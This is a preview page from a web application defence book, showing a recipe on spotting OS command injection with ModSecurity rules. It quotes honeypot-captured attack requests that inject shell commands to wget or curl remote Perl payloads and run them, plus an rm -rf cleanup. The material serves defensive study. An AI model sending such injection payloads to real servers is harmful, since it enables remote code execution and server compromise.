December 2012
Intermediate to advanced
552 pages
13h 16m
English
Content preview from Web Application Defender's CookbookBecome an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
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Recipe 9-6: Preventing OS Commanding Attacks
This recipe shows you how to figure out when attackers are attempting to execute OS commands.
Ingredients
- OWASP ModSecurity Core Rule Set (CRS)
- modsecurity_crs_40_generic_attacks.conf
- ModSecurity
- REQUEST_URI variable
- REQUEST_BODY variable
- REQUEST_HEADERS variable
- XML variable
- @rx operator
CAPEC-88: OS Command Injection
An attacker can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.
Sample Attacks
These attacks were captured by web honeypot sensors:
GET /mysql/config/config.inc.php?eval=system('echo cd /tmp;wget
http://excelent.do.am/apache_32.tif -O p2.txt;curl -O
http://excelent.do.am/apache_32.tif; mv apache_32.tif p.txt;
lyxn -DUMP http://excelent.do.am/apache_32.tif >p3.txt;perl p.txt;
perl p2.txt;perl p3.txt;rm -rf *.txt'); HTTP/1.1
GET /appserv/main.php?appserv_root=|echo "casper";echo "kae";|
HTTP/1.1
GET //data/shell.php?cmd=;wget http://www.intymnydotyk.pl/mods//
sh.txt? && wget http://www.intymnydotyk.pl/mods//bt.php? HTTP/1.1
GET //wp-content/themes/premiumnews/thumb.php?cmd=wget ;wget
http://s0nic.ucoz.com/thumb/auto;perl auto;curl -O ;curl -O
http://s0nic.ucoz.com/thumb/auto;perl auto;lwp-download ;
lwp-download http://s0nic.ucoz.com/thumb/auto;perl auto HTTP/1.1Blocking OS Command Attacks
The following rules are taken from the OWASP ModSecurity CRS modsecurity_crs_40_generic_attacks.conf ...
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O’Reilly covers everything we've got, with content to help us build a world-class technology community, upgrade the capabilities and competencies of our teams, and improve overall team performance as well as their engagement.Julian F.
I wanted to learn C and C++, but it didn't click for me until I picked up an O'Reilly book. When I went on the O’Reilly platform, I was astonished to find all the books there, plus live events and sandboxes so you could play around with the technology.Addison B.
I’ve been on the O’Reilly platform for more than eight years. I use a couple of learning platforms, but I'm on O'Reilly more than anybody else. When you're there, you start learning. I'm never disappointed.Amir M.
I'm always learning. So when I got on to O'Reilly, I was like a kid in a candy store. There are playlists. There are answers. There's on-demand training. It's worth its weight in gold, in terms of what it allows me to do.